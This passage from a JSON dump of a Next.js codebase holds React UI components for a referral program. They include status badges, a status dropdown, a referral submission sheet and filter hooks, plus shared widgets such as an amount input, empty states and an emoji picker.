    "content": "import { ReferralProps } from \"@/lib/types\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport Link from \"next/link\";\nimport { useParams } from \"next/navigation\";\n\ninterface ReferralPartnerDetailsProps {\n  referral: ReferralProps;\n}\n\nexport function ReferralPartnerDetails({\n  referral,\n}: ReferralPartnerDetailsProps) {\n  const { slug } = useParams();\n\n  return (\n    <div className=\"border-border-subtle overflow-hidden rounded-xl border bg-white p-4\">\n      <h3 className=\"text-content-emphasis mb-2.5 text-sm font-semibold\">\n        Referral partner\n      </h3>\n      <Link\n        href={`/${slug}/program/partners/${referral.partner.id}`}\n        target=\"_blank\"\n        className=\"flex items-center gap-2 transition-opacity hover:opacity-80\"\n      >\n        <PartnerAvatar\n          partner={referral.partner}\n          className=\"size-5 border border-neutral-100\"\n        />\n        <div className=\"text-content-emphasis cursor-alias text-sm font-semibold decoration-dotted hover:underline\">\n          {referral.partner.name}\n        </div>\n      </Link>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/referrals/referral-status-badge.tsx",
    "content": "import { ReferralStatus } from \"@dub/prisma/client\";\nimport { StatusBadge } from \"@dub/ui\";\nimport { ReferralStatusBadges } from \"./referral-status-badges\";\n\ninterface ReferralStatusBadgeProps {\n  status: ReferralStatus;\n  className?: string;\n}\n\nexport function ReferralStatusBadge({\n  status,\n  className,\n}: ReferralStatusBadgeProps) {\n  const badge = ReferralStatusBadges[status];\n\n  return (\n    <StatusBadge\n      variant={badge.variant}\n      icon={null}\n      className={`border-0 ${badge.className} ${className || \"\"}`}\n    >\n      {badge.label}\n    </StatusBadge>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/referrals/referral-status-badges.ts",
    "content": "import { ReferralStatus } from \"@dub/prisma/client\";\nimport { CircleCheck, CircleHalfDottedClock, CircleXmark } from \"@dub/ui/icons\";\n\nexport const ReferralStatusBadges: Record<\n  ReferralStatus,\n  {\n    label: string;\n    variant: \"new\" | \"success\" | \"pending\" | \"error\" | \"neutral\";\n    className: string;\n    icon: typeof CircleCheck;\n  }\n> = {\n  pending: {\n    label: \"New\",\n    variant: \"new\",\n    className: \"bg-blue-100 text-blue-600\",\n    icon: CircleHalfDottedClock,\n  },\n  qualified: {\n    label: \"Qualified\",\n    variant: \"new\",\n    className: \"bg-[#EDE8FD] text-[#7B3AFF]\",\n    icon: CircleCheck,\n  },\n  meeting: {\n    label: \"Meeting\",\n    variant: \"pending\",\n    className: \"bg-[#FFF3EC] text-[#FF4D00]\",\n    icon: CircleCheck,\n  },\n  negotiation: {\n    label: \"Negotiation\",\n    variant: \"neutral\",\n    className: \"bg-[#F5EDFF] text-[#CE00FF]\",\n    icon: CircleCheck,\n  },\n  unqualified: {\n    label: \"Unqualified\",\n    variant: \"error\",\n    className: \"bg-red-100 text-red-600\",\n    icon: CircleXmark,\n  },\n  closedWon: {\n    label: \"Closed won\",\n    variant: \"success\",\n    className: \"bg-green-100 text-green-600\",\n    icon: CircleCheck,\n  },\n  closedLost: {\n    label: \"Closed lost\",\n    variant: \"error\",\n    className: \"bg-[#FFEBEB] text-[#D60000]\",\n    icon: CircleXmark,\n  },\n};\n"
  },
  {
    "path": "apps/web/ui/referrals/referral-status-dropdown.tsx",
    "content": "\"use client\";\n\nimport { ReferralProps } from \"@/lib/types\";\nimport { ReferralStatus } from \"@dub/prisma/client\";\nimport { Popover } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { Check, ChevronDown } from \"lucide-react\";\nimport { useState } from \"react\";\nimport { ReferralStatusBadges } from \"./referral-status-badges\";\n\ninterface ReferralStatusDropdownProps {\n  referral: ReferralProps;\n  selectedStatus?: ReferralStatus;\n  onStatusChange: (newStatus: ReferralStatus) => void;\n}\n\nexport function ReferralStatusDropdown({\n  referral,\n  selectedStatus,\n  onStatusChange,\n}: ReferralStatusDropdownProps) {\n  const [openStatusDropdown, setOpenStatusDropdown] = useState(false);\n\n  const displayStatus = selectedStatus ?? referral.status;\n  const currentBadge = ReferralStatusBadges[displayStatus];\n  const allStatuses = Object.keys(ReferralStatusBadges) as ReferralStatus[];\n\n  const handleStatusChange = (newStatus: ReferralStatus) => {\n    if (newStatus !== referral.status) {\n      onStatusChange(newStatus);\n    }\n    setOpenStatusDropdown(false);\n  };\n\n  return (\n    <Popover\n      openPopover={openStatusDropdown}\n      setOpenPopover={setOpenStatusDropdown}\n      popoverContentClassName=\"w-[var(--radix-popover-trigger-width)]\"\n      content={\n        <div className=\"w-full p-2\">\n          {allStatuses.map((status) => {\n            const badge = ReferralStatusBadges[status];\n            const isSelected = status === displayStatus;\n            return (\n              <button\n                key={status}\n                onClick={() => handleStatusChange(status)}\n                className={cn(\n                  \"flex w-full items-center justify-between gap-4 rounded-md px-2 py-2 transition-colors\",\n                  \"hover:bg-gray-100\",\n                  isSelected && \"bg-gray-50\",\n                )}\n              >\n                <div className=\"flex items-center gap-2\">\n                  <div\n                    className={cn(\n                      \"rounded-md px-1 text-xs font-semibold leading-4 tracking-[-0.24px]\",\n                      badge.className,\n                    )}\n                  >\n                    {badge.label}\n                  </div>\n                </div>\n                {isSelected && <Check className=\"size-4 text-gray-900\" />}\n              </button>\n            );\n          })}\n        </div>\n      }\n      align=\"start\"\n    >\n      <button\n        onClick={() => setOpenStatusDropdown(!openStatusDropdown)}\n        className={cn(\n          \"flex w-full items-center justify-between gap-4 rounded-md border border-gray-200 bg-white p-2 transition-colors\",\n          \"hover:bg-gray-50\",\n          openStatusDropdown && \"bg-gray-50\",\n        )}\n      >\n        <div\n          className={cn(\n            \"rounded-md px-1 text-xs font-semibold leading-4 tracking-[-0.24px]\",\n            currentBadge.className,\n          )}\n        >\n          {currentBadge.label}\n        </div>\n        <ChevronDown\n          className={cn(\n            \"size-3 text-gray-600 transition-transform\",\n            openStatusDropdown && \"rotate-180\",\n          )}\n        />\n      </button>\n    </Popover>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/referrals/referral-utils.ts",
    "content": "import { GOOGLE_FAVICON_URL, OG_AVATAR_URL } from \"@dub/utils\";\n\n// Formats a formData field value for display\nexport function formatFormDataValue(value: unknown): string {\n  if (value === null || value === undefined || value === \"\") {\n    return \"\";\n  }\n  if (typeof value === \"number\" && Number.isNaN(value)) {\n    return \"\";\n  }\n\n  if (Array.isArray(value)) {\n    return value.map((v) => String(v)).join(\", \");\n  }\n\n  if (typeof value === \"object\" && \"toISOString\" in value) {\n    try {\n      return new Date(value as Date).toLocaleDateString();\n    } catch {\n      return String(value);\n    }\n  }\n\n  if (typeof value === \"number\") {\n    return value.toLocaleString();\n  }\n\n  return String(value);\n}\n\n// Gets company logo URL from email domain\nexport function getCompanyLogoUrl(email: string) {\n  const emailDomain = email.split(\"@\")[1];\n  return emailDomain\n    ? `${GOOGLE_FAVICON_URL}${emailDomain}`\n    : `${OG_AVATAR_URL}${email}`;\n}\n"
  },
  {
    "path": "apps/web/ui/referrals/submit-referral-sheet.tsx",
    "content": "\"use client\";\n\nimport { submitReferralAction } from \"@/lib/actions/referrals/submit-referral\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { referralFormSchema } from \"@/lib/zod/schemas/referral-form\";\nimport { X } from \"@/ui/shared/icons\";\nimport { Button, Sheet } from \"@dub/ui\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useParams } from \"next/navigation\";\nimport { Dispatch, SetStateAction, useMemo } from \"react\";\nimport { FormProvider, useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport * as z from \"zod/v4\";\nimport { ReferralForm } from \"./referral-form\";\n\ninterface SubmitReferralSheetProps {\n  isOpen: boolean;\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n  programId: string;\n  referralFormData: z.infer<typeof referralFormSchema>;\n  onSuccess?: () => void;\n}\n\ntype ReferralFormData = {\n  formData: Record<string, any>;\n};\n\nexport function SubmitReferralSheet({\n  isOpen,\n  setIsOpen,\n  programId,\n  referralFormData,\n  onSuccess,\n}: SubmitReferralSheetProps) {\n  const { programSlug } = useParams<{ programSlug: string }>();\n\n  const validatedFormData = useMemo(() => {\n    try {\n      return referralFormSchema.parse(referralFormData);\n    } catch {\n      return null;\n    }\n  }, [referralFormData]);\n\n  const form = useForm<ReferralFormData>({\n    defaultValues: {\n      formData: {},\n    },\n  });\n\n  const { handleSubmit, setError, reset } = form;\n\n  const { executeAsync, isPending } = useAction(submitReferralAction, {\n    onSuccess: async () => {\n      toast.success(\"Referral submitted successfully\");\n      reset();\n      onSuccess?.();\n      setIsOpen(false);\n\n      if (programSlug) {\n        await mutatePrefix([\n          `/api/partner-profile/programs/${programSlug}/referrals`,\n          `/api/partner-profile/programs/${programSlug}/referrals/count`,\n        ]);\n      }\n    },\n    onError: ({ error }) => {\n      const errorMessage = error.serverError || \"Failed to submit referral\";\n      toast.error(errorMessage);\n      setError(\"root.serverError\", {\n        message: errorMessage,\n      });\n    },\n  });\n\n  const onSubmit = async (data: ReferralFormData) => {\n    if (!validatedFormData) {\n      return;\n    }\n\n    // Strip null, undefined, empty string, and NaN so they are never recorded\n    const sanitizedFormData = Object.fromEntries(\n      Object.entries(data.formData).filter(([, value]) => {\n        if (value === undefined || value === null || value === \"\") {\n          return false;\n        }\n        if (typeof value === \"number\" && Number.isNaN(value)) {\n          return false;\n        }\n        return true;\n      }),\n    );\n\n    await executeAsync({\n      programId,\n      formData: sanitizedFormData,\n    });\n  };\n\n  if (!validatedFormData) {\n    return null;\n  }\n\n  return (\n    <Sheet open={isOpen} onOpenChange={setIsOpen}>\n      <FormProvider {...form}>\n        <form\n          onSubmit={handleSubmit(onSubmit)}\n          className=\"flex h-full flex-col\"\n        >\n          <div className=\"sticky top-0 z-10 border-b border-neutral-200 bg-neutral-50\">\n            <div className=\"flex h-16 items-center justify-between px-6 py-4\">\n              <Sheet.Title className=\"text-lg font-semibold\">\n                Submit Referral\n              </Sheet.Title>\n              <Sheet.Close asChild>\n                <Button\n                  variant=\"outline\"\n                  icon={<X className=\"size-5\" />}\n                  className=\"h-auto w-fit p-1\"\n                />\n              </Sheet.Close>\n            </div>\n          </div>\n\n          <div className=\"min-h-0 flex-1 overflow-y-auto\">\n            <div className=\"flex flex-col gap-6 p-5 sm:p-6\">\n              <ReferralForm referralFormData={validatedFormData} />\n            </div>\n          </div>\n\n          <div className=\"sticky bottom-0 z-10 border-t border-neutral-200 bg-white p-5\">\n            <Button\n              type=\"submit\"\n              variant=\"primary\"\n              text=\"Submit Referral\"\n              loading={isPending}\n            />\n          </div>\n        </form>\n      </FormProvider>\n    </Sheet>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/referrals/use-program-referral-filters.tsx",
    "content": "import usePartners from \"@/lib/swr/use-partners\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { EnrolledPartnerProps } from \"@/lib/types\";\nimport {\n  partnerReferralsCountByPartnerIdSchema,\n  partnerReferralsCountByStatusSchema,\n} from \"@/lib/zod/schemas/referrals\";\nimport { CircleDotted, useRouterStuff } from \"@dub/ui\";\nimport { Users } from \"@dub/ui/icons\";\nimport { cn, nFormatter, OG_AVATAR_URL } from \"@dub/utils\";\nimport { useCallback, useMemo, useState } from \"react\";\nimport { useDebounce } from \"use-debounce\";\nimport * as z from \"zod/v4\";\nimport { useProgramReferralsCount } from \"../../lib/swr/use-program-referrals-count\";\nimport { ReferralStatusBadges } from \"./referral-status-badges\";\n\nexport function useProgramReferralsFilters(\n  extraSearchParams: Record<string, string>,\n) {\n  const [search, setSearch] = useState(\"\");\n  const { id: workspaceId } = useWorkspace();\n  const [debouncedSearch] = useDebounce(search, 500);\n  const { searchParamsObj, queryParams } = useRouterStuff();\n  const [selectedFilter, setSelectedFilter] = useState<string | null>(null);\n\n  const { partners } = usePartnerFilterOptions(\n    selectedFilter === \"partnerId\" ? debouncedSearch : \"\",\n  );\n\n  const { data: statusCount } = useProgramReferralsCount<\n    z.infer<typeof partnerReferralsCountByStatusSchema>[] | undefined\n  >({\n    query: {\n      groupBy: \"status\",\n    },\n  });\n\n  const { data: partnersCount } = useProgramReferralsCount<\n    z.infer<typeof partnerReferralsCountByPartnerIdSchema>[] | undefined\n  >({\n    query: {\n      groupBy: \"partnerId\",\n    },\n  });\n\n  const partnersCountMap = useMemo(\n    () => new Map(partnersCount?.map((p) => [p.partnerId, p._count]) ?? []),\n    [partnersCount],\n  );\n\n  const filters = useMemo(\n    () => [\n      {\n        key: \"partnerId\",\n        icon: Users,\n        label: \"Partner\",\n        shouldFilter: false,\n        options:\n          partners?.map(({ id, name, image }) => {\n            const count = partnersCountMap.get(id);\n\n            return {\n              value: id,\n              label: name,\n              icon: (\n                <img\n                  src={image || `${OG_AVATAR_URL}${id}`}\n                  alt={`${name} image`}\n                  className=\"size-4 rounded-full\"\n                />\n              ),\n              ...(count !== undefined && {\n                right: nFormatter(count, { full: true }),\n              }),\n            };\n          }) ?? null,\n      },\n      {\n        key: \"status\",\n        icon: CircleDotted,\n        label: \"Status\",\n        options:\n          statusCount?.map(({ status, _count }) => {\n            const badge = ReferralStatusBadges[status];\n            const Icon = badge.icon;\n\n            return {\n              value: status,\n              label: badge.label,\n              icon: (\n                <Icon\n                  className={cn(badge.className, \"size-4 bg-transparent\")}\n                />\n              ),\n              right: nFormatter(_count, { full: true }),\n            };\n          }) ?? [],\n        meta: {\n          filterParams: ({ getValue }) => ({\n            status: getValue(),\n          }),\n        },\n      },\n    ],\n    [partners, statusCount, partnersCount],\n  );\n\n  const activeFilters = useMemo(() => {\n    const { partnerId, status } = searchParamsObj;\n\n    return [\n      ...(partnerId ? [{ key: \"partnerId\", value: partnerId }] : []),\n      ...(status ? [{ key: \"status\", value: status }] : []),\n    ];\n  }, [searchParamsObj]);\n\n  const onSelect = useCallback(\n    (key: string, value: any) =>\n      queryParams({\n        set: {\n          [key]: value,\n        },\n        del: \"page\",\n      }),\n    [queryParams],\n  );\n\n  const onRemove = useCallback(\n    (key: string) =>\n      queryParams({\n        del: [key, \"page\"],\n      }),\n    [queryParams],\n  );\n\n  const onRemoveAll = useCallback(\n    () =>\n      queryParams({\n        del: [\"partnerId\", \"status\", \"search\"],\n      }),\n    [queryParams],\n  );\n\n  const searchQuery = useMemo(\n    () =>\n      new URLSearchParams({\n        ...Object.fromEntries(\n          activeFilters.map(({ key, value }) => [key, value]),\n        ),\n        ...(searchParamsObj.search && { search: searchParamsObj.search }),\n        workspaceId: workspaceId || \"\",\n        ...extraSearchParams,\n      }).toString(),\n    [activeFilters, workspaceId, extraSearchParams, searchParamsObj.search],\n  );\n\n  const isFiltered = useMemo(\n    () => activeFilters.length > 0 || searchParamsObj.search,\n    [activeFilters, searchParamsObj.search],\n  );\n\n  return {\n    filters,\n    activeFilters,\n    onSelect,\n    onRemove,\n    onRemoveAll,\n    searchQuery,\n    isFiltered,\n    setSearch,\n    setSelectedFilter,\n  };\n}\n\nfunction usePartnerFilterOptions(search: string) {\n  const { searchParamsObj } = useRouterStuff();\n\n  const { partners, loading: partnersLoading } = usePartners({\n    query: { search },\n  });\n\n  const { partners: selectedPartners } = usePartners({\n    query: {\n      partnerIds: searchParamsObj.partnerId\n        ? [searchParamsObj.partnerId]\n        : undefined,\n    },\n  });\n\n  const result = useMemo(() => {\n    return partnersLoading ||\n      // Consider partners loading if we can't find the currently filtered partner\n      (searchParamsObj.partnerId &&\n        ![...(selectedPartners ?? []), ...(partners ?? [])].some(\n          (p) => p.id === searchParamsObj.partnerId,\n        ))\n      ? null\n      : ([\n          ...(partners ?? []),\n          // Add selected partner to list if not already in partners\n          ...(selectedPartners\n            ?.filter((st) => !partners?.some((t) => t.id === st.id))\n            ?.map((st) => ({ ...st, hideDuringSearch: true })) ?? []),\n        ] as (EnrolledPartnerProps & { hideDuringSearch?: boolean })[]);\n  }, [partnersLoading, partners, selectedPartners, searchParamsObj.partnerId]);\n\n  return { partners: result };\n}\n"
  },
  {
    "path": "apps/web/ui/shared/amount-input.tsx",
    "content": "import { handleMoneyInputChange, handleMoneyKeyDown } from \"@/lib/form-utils\";\nimport { cn } from \"@dub/utils\";\nimport { forwardRef, InputHTMLAttributes } from \"react\";\n\nexport type AmountType = \"flat\" | \"percentage\";\n\ninterface AmountInputProps\n  extends Omit<InputHTMLAttributes<HTMLInputElement>, \"type\"> {\n  amountType?: AmountType;\n  error?: string;\n  currency?: string;\n  prefix?: string;\n  suffix?: string;\n  containerClassName?: string;\n  onKeyDown?: (e: React.KeyboardEvent<HTMLInputElement>) => void;\n  onChange?: (e: React.ChangeEvent<HTMLInputElement>) => void;\n}\n\nexport const AmountInput = forwardRef<HTMLInputElement, AmountInputProps>(\n  (\n    {\n      error,\n      currency = \"USD\",\n      amountType = \"flat\",\n      prefix,\n      suffix,\n      containerClassName,\n      className,\n      id,\n      onKeyDown,\n      onChange,\n      ...props\n    },\n    ref,\n  ) => {\n    const inputId = id || \"amount\";\n    const isFlat = amountType === \"flat\";\n    const displayPrefix = prefix ?? (isFlat ? \"$\" : \"\");\n    const displaySuffix = suffix ?? (isFlat ? currency : \"%\");\n\n    return (\n      <div className={containerClassName}>\n        <div className=\"relative rounded-md shadow-sm\">\n          {displayPrefix && (\n            <span className=\"absolute inset-y-0 left-0 flex items-center pl-3 text-sm text-neutral-400\">\n              {displayPrefix}\n            </span>\n          )}\n\n          <input\n            ref={ref}\n            id={inputId}\n            type=\"number\"\n            onWheel={(e) => e.currentTarget.blur()}\n            className={cn(\n              \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n              displayPrefix && \"pl-6\",\n              displaySuffix && \"pr-12\",\n              error && \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n              className,\n            )}\n            min=\"0\"\n            step={isFlat ? \"0.01\" : \"1\"}\n            max={!isFlat ? 100 : undefined}\n            onKeyDown={(e) => {\n              handleMoneyKeyDown(e);\n              onKeyDown?.(e);\n            }}\n            onChange={(e) => {\n              handleMoneyInputChange(e);\n              onChange?.(e);\n            }}\n            {...props}\n          />\n\n          {displaySuffix && (\n            <span className=\"absolute inset-y-0 right-0 flex items-center pr-3 text-sm text-neutral-400\">\n              {displaySuffix}\n            </span>\n          )}\n        </div>\n\n        {error && <p className=\"mt-1 text-xs text-red-600\">{error}</p>}\n      </div>\n    );\n  },\n);\n\nAmountInput.displayName = \"AmountInput\";\n"
  },
  {
    "path": "apps/web/ui/shared/animated-empty-state.tsx",
    "content": "\"use client\";\n\nimport { Badge, buttonVariants } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { CSSProperties, PropsWithChildren, ReactNode } from \"react\";\n\nexport function AnimatedEmptyState({\n  title,\n  description,\n  cardContent,\n  cardCount = 3,\n  addButton,\n  pillContent,\n  learnMoreHref,\n  learnMoreTarget = \"_blank\",\n  learnMoreClassName,\n  learnMoreText,\n  className,\n  cardClassName,\n  cardContainerClassName,\n}: {\n  title: string;\n  description: ReactNode;\n  cardContent: ReactNode | ((index: number) => ReactNode);\n  cardCount?: number;\n  addButton?: ReactNode;\n  pillContent?: string;\n  learnMoreHref?: string;\n  learnMoreTarget?: string;\n  learnMoreClassName?: string;\n  learnMoreText?: string;\n  className?: string;\n  cardClassName?: string;\n  cardContainerClassName?: string;\n}) {\n  return (\n    <div\n      className={cn(\n        \"flex flex-col items-center justify-center gap-6 rounded-lg border border-neutral-200 px-4 py-10 md:min-h-[500px]\",\n        className,\n      )}\n    >\n      <div\n        className={cn(\n          \"animate-fade-in h-36 w-full max-w-64 overflow-hidden px-4 [mask-image:linear-gradient(transparent,black_10%,black_90%,transparent)]\",\n          cardContainerClassName,\n        )}\n      >\n        <div\n          style={{ \"--scroll\": \"-50%\" } as CSSProperties}\n          className=\"animate-infinite-scroll-y flex flex-col [animation-duration:10s]\"\n        >\n          {[...Array(cardCount * 2)].map((_, idx) => (\n            <Card key={idx} className={cardClassName}>\n              {typeof cardContent === \"function\"\n                ? cardContent(idx % cardCount)\n                : cardContent}\n            </Card>\n          ))}\n        </div>\n      </div>\n      {pillContent && <Badge variant=\"blueGradient\">{pillContent}</Badge>}\n      <div className=\"max-w-sm text-pretty text-center\">\n        <span className=\"text-base font-medium text-neutral-900\">{title}</span>\n        <div className=\"mt-2 text-pretty text-sm text-neutral-500\">\n          {description}\n        </div>\n      </div>\n      <div className=\"flex items-center gap-2\">\n        {addButton}\n        {learnMoreHref && (\n          <Link\n            href={learnMoreHref}\n            target={learnMoreTarget}\n            className={cn(\n              buttonVariants({ variant: addButton ? \"secondary\" : \"primary\" }),\n              \"flex h-9 items-center whitespace-nowrap rounded-lg border px-4 text-sm\",\n              learnMoreClassName,\n            )}\n          >\n            {learnMoreText || \"Learn more\"}\n          </Link>\n        )}\n      </div>\n    </div>\n  );\n}\n\nfunction Card({\n  children,\n  className,\n}: PropsWithChildren<{ className?: string }>) {\n  return (\n    <div\n      className={cn(\n        \"mt-4 flex items-center gap-3 rounded-lg border border-neutral-200 bg-white p-4 shadow-[0_4px_12px_0_#0000000D]\",\n        className,\n      )}\n    >\n      {children}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/back-link.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { ChevronLeft } from \"lucide-react\";\nimport Link from \"next/link\";\nimport { ComponentProps } from \"react\";\n\nexport function BackLink({\n  children,\n  className,\n  ...rest\n}: ComponentProps<typeof Link>) {\n  return (\n    <Link\n      className={cn(\n        \"group flex items-center gap-1 text-neutral-600 transition-colors duration-100 hover:text-neutral-700\",\n        className,\n      )}\n      {...rest}\n    >\n      <ChevronLeft\n        className=\"size-3.5 transition-transform duration-100 group-hover:-translate-x-0.5\"\n        strokeWidth={2}\n      />\n      <span className=\"text-sm\">{children}</span>\n    </Link>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/business-badge-tooltip.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { BadgeTooltip, InfoTooltip, type TooltipProps } from \"@dub/ui\";\nimport { Crown } from \"lucide-react\";\n\n/**\n * A dynamic badge/icon w/ tooltip based on the workspace plan:\n *\n * For a free or Pro workspace: a \"Business\" badge\n * For a Business workspace: an info icon (question mark circle)\n */\nexport function BusinessBadgeTooltip(props: Omit<TooltipProps, \"children\">) {\n  const { plan } = useWorkspace();\n\n  return [\"free\", \"pro\"].includes(plan!) ? (\n    <BadgeTooltip {...props}>\n      <div className=\"flex items-center space-x-1\">\n        <Crown size={12} />\n        <p className=\"uppercase\">Business</p>\n      </div>\n    </BadgeTooltip>\n  ) : (\n    <InfoTooltip {...props} />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/conditional-link.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { HTMLProps } from \"react\";\n\nexport const ConditionalLink = ({\n  ref: _,\n  href,\n  className,\n  children,\n  ...rest\n}: HTMLProps<HTMLAnchorElement>) => {\n  return href ? (\n    <Link\n      href={href}\n      className={cn(\n        \"cursor-alias decoration-dotted underline-offset-2 transition-colors hover:text-neutral-950 hover:underline\",\n        className,\n      )}\n      {...rest}\n    >\n      {children}\n    </Link>\n  ) : (\n    <div className={className}>{children}</div>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/shared/custom-toast.tsx",
    "content": "import ReactMarkdown from \"react-markdown\";\n\nexport function CustomToast({\n  icon: Icon,\n  children,\n}: {\n  icon?: React.ComponentType<{ className?: string }>;\n  children: string;\n}) {\n  return (\n    <div className=\"flex items-center gap-1.5 rounded-lg bg-white p-4 text-sm shadow-[0_4px_12px_#0000001a]\">\n      {Icon && <Icon className=\"size-[18px] shrink-0 text-black\" />}\n      <ReactMarkdown\n        className=\"text-[13px] font-medium text-neutral-900\"\n        components={{\n          a: ({ node, ...props }) => (\n            <a\n              {...props}\n              target=\"_blank\"\n              className=\"text-neutral-500 underline transition-colors hover:text-neutral-800\"\n            />\n          ),\n        }}\n      >\n        {children}\n      </ReactMarkdown>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/emoji-picker.tsx",
    "content": "import { Button, Popover } from \"@dub/ui\";\nimport { FaceSmile } from \"@dub/ui/icons\";\nimport { EmojiPicker as EmojiPickerBase } from \"frimousse\";\nimport { PropsWithChildren, useState } from \"react\";\n\nexport function EmojiPicker({\n  onSelect,\n  children,\n}: PropsWithChildren<{\n  onSelect: (emoji: string) => void;\n}>) {\n  const [isOpen, setIsOpen] = useState(false);\n\n  return (\n    <Popover\n      openPopover={isOpen}\n      setOpenPopover={setIsOpen}\n      side=\"top\"\n      align=\"start\"\n      sideOffset={34}\n      content={\n        <EmojiPickerBase.Root\n          className=\"isolate flex h-[300px] w-fit flex-col\"\n          onEmojiSelect={({ emoji }) => {\n            onSelect(emoji);\n            setIsOpen(false);\n          }}\n        >\n          <EmojiPickerBase.Search className=\"border-border-default focus:border-border-default z-10 rounded-t-lg border-0 border-b bg-white px-3 py-2.5 text-base outline-none placeholder:text-neutral-400 focus:ring-0 sm:text-sm\" />\n          <EmojiPickerBase.Viewport className=\"outline-hidden relative flex-1\">\n            <EmojiPickerBase.Loading className=\"absolute inset-0 flex items-center justify-center text-sm text-neutral-400\">\n              Loading…\n            </EmojiPickerBase.Loading>\n            <EmojiPickerBase.Empty className=\"absolute inset-0 flex items-center justify-center text-sm text-neutral-400\">\n              No emoji found.\n            </EmojiPickerBase.Empty>\n            <EmojiPickerBase.List\n              className=\"select-none pb-1.5\"\n              components={{\n                CategoryHeader: ({ category, ...props }) => (\n                  <div\n                    className=\"text-content-subtle bg-white px-3 pb-1.5 pt-3 text-xs font-medium\"\n                    {...props}\n                  >\n                    {category.label}\n                  </div>\n                ),\n                Row: ({ children, ...props }) => (\n                  <div className=\"scroll-my-1.5 px-1.5\" {...props}>\n                    {children}\n                  </div>\n                ),\n                Emoji: ({ emoji, ...props }) => (\n                  <button\n                    className=\"flex size-7 items-center justify-center rounded-md text-lg data-[active]:bg-neutral-100\"\n                    {...props}\n                  >\n                    {emoji.emoji}\n                  </button>\n                ),\n              }}\n            />\n          </EmojiPickerBase.Viewport>\n        </EmojiPickerBase.Root>\n      }\n    >\n      {children || (\n        <Button\n          type=\"button\"\n          variant=\"outline\"\n          icon={<FaceSmile className=\"size-4\" />}\n          className=\"size-8 p-0\"\n        />\n      )}\n    </Popover>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/empty-state.tsx",
    "content": "\"use client\";\n\nimport { buttonVariants, EmptyState as EmptyStateBlock } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { ComponentProps } from \"react\";\n\nexport default function EmptyState({\n  buttonText,\n  buttonLink,\n  ...rest\n}: {\n  buttonText?: string;\n  buttonLink?: string;\n} & Omit<ComponentProps<typeof EmptyStateBlock>, \"children\">) {\n  return (\n    <EmptyStateBlock {...rest}>\n      {buttonText && buttonLink && (\n        <Link\n          href={buttonLink}\n          {...(buttonLink.startsWith(\"http\") ? { target: \"_blank\" } : {})}\n          className={cn(\n            buttonVariants({ variant: \"secondary\" }),\n            \"flex h-8 items-center justify-center gap-2 rounded-md border px-4 text-sm\",\n          )}\n        >\n          <span className=\"bg-gradient-to-r from-violet-600 to-pink-600 bg-clip-text text-transparent\">\n            {buttonText}\n          </span>\n        </Link>\n      )}\n    </EmptyStateBlock>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/filter-button-table-row.tsx",
    "content": "import { useRouterStuff } from \"@dub/ui\";\nimport { FilterBars } from \"@dub/ui/icons\";\nimport { cn } from \"@dub/utils\";\nimport Link from \"next/link\";\n\nexport function FilterButtonTableRow({\n  set,\n  className,\n}: {\n  set?: Record<string, any>;\n  className?: string;\n}) {\n  if (!set) return null;\n\n  const { queryParams } = useRouterStuff();\n\n  return (\n    <div\n      className={cn(\n        \"absolute right-1 top-0 flex h-full shrink-0 translate-x-3 items-center justify-center p-2 opacity-0 transition-all group-hover:translate-x-0 group-hover:opacity-100\",\n        className,\n      )}\n    >\n      <Link\n        href={\n          queryParams({\n            set,\n            del: \"page\",\n            getNewPath: true,\n          }) as string\n        }\n        className=\"block rounded-md border border-transparent bg-white p-0.5 text-neutral-600 transition-colors hover:border-neutral-200 hover:bg-neutral-100 hover:text-neutral-950\"\n      >\n        <span className=\"sr-only\">Filter</span>\n        <FilterBars className=\"size-3.5\" />\n      </Link>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/icons/airplay.tsx",
    "content": "export default function Airplay({ className }: { className: string }) {\n  return (\n    <svg\n      fill=\"none\"\n      shapeRendering=\"geometricPrecision\"\n      stroke=\"currentColor\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      strokeWidth=\"1.5\"\n      viewBox=\"0 0 24 24\"\n      width=\"24\"\n      height=\"24\"\n      className={className}\n    >\n      <path d=\"M5 17H4a2 2 0 01-2-2V5a2 2 0 012-2h16a2 2 0 012 2v10a2 2 0 01-2 2h-1\" />\n      <path d=\"M12 15l5 6H7l5-6z\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/icons/alert-circle-fill.tsx",
